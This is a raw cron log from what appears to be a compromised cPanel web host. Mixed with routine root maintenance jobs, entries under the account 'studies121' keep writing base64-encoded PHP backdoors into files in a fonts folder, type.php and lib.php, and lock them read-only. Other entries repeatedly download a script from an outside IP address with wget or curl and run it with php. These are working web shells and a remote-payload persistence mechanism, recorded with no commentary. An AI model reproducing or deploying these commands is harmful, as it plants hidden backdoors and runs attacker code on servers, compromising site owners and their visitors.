Sep  1 06:49:01 ip-184-168-122-23 CROND[6391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:49:01 ip-184-168-122-23 CROND[6392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:49:01 ip-184-168-122-23 CROND[6390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:50:02 ip-184-168-122-23 CROND[6503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6508]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:50:02 ip-184-168-122-23 CROND[6511]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:50:02 ip-184-168-122-23 CROND[6510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:51:01 ip-184-168-122-23 CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:51:01 ip-184-168-122-23 CROND[6620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:51:01 ip-184-168-122-23 CROND[6621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:51:01 ip-184-168-122-23 CROND[6622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:52:01 ip-184-168-122-23 CROND[6832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:52:01 ip-184-168-122-23 CROND[6834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:52:01 ip-184-168-122-23 CROND[6836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:52:01 ip-184-168-122-23 CROND[6833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:52:01 ip-184-168-122-23 CROND[6835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:53:01 ip-184-168-122-23 CROND[6986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:53:01 ip-184-168-122-23 CROND[6987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:53:01 ip-184-168-122-23 CROND[6989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:53:01 ip-184-168-122-23 CROND[6994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:54:01 ip-184-168-122-23 CROND[7097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:54:01 ip-184-168-122-23 CROND[7101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:54:01 ip-184-168-122-23 CROND[7099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:54:01 ip-184-168-122-23 CROND[7100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:54:01 ip-184-168-122-23 CROND[7102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:55:01 ip-184-168-122-23 CROND[7259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:55:01 ip-184-168-122-23 CROND[7258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:55:01 ip-184-168-122-23 CROND[7262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:55:01 ip-184-168-122-23 CROND[7266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:55:01 ip-184-168-122-23 CROND[7265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:55:01 ip-184-168-122-23 CROND[7263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:56:01 ip-184-168-122-23 CROND[7371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:56:01 ip-184-168-122-23 CROND[7373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:56:01 ip-184-168-122-23 CROND[7374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:56:01 ip-184-168-122-23 CROND[7376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:56:01 ip-184-168-122-23 CROND[7377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:57:01 ip-184-168-122-23 CROND[7587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:57:01 ip-184-168-122-23 CROND[7590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:57:01 ip-184-168-122-23 CROND[7589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:57:01 ip-184-168-122-23 CROND[7591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:58:01 ip-184-168-122-23 CROND[7731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:58:01 ip-184-168-122-23 CROND[7732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:58:01 ip-184-168-122-23 CROND[7734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:58:01 ip-184-168-122-23 CROND[7735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:58:01 ip-184-168-122-23 CROND[7736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:59:01 ip-184-168-122-23 CROND[7867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:59:01 ip-184-168-122-23 CROND[7868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:59:01 ip-184-168-122-23 CROND[7870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:59:01 ip-184-168-122-23 CROND[7873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:00:01 ip-184-168-122-23 CROND[7965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:00:01 ip-184-168-122-23 CROND[7968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:00:01 ip-184-168-122-23 CROND[7969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:00:01 ip-184-168-122-23 CROND[7973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:00:01 ip-184-168-122-23 CROND[7974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:00:01 ip-184-168-122-23 CROND[7975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:00:01 ip-184-168-122-23 CROND[7976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:00:01 ip-184-168-122-23 CROND[7977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:01:01 ip-184-168-122-23 CROND[8110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
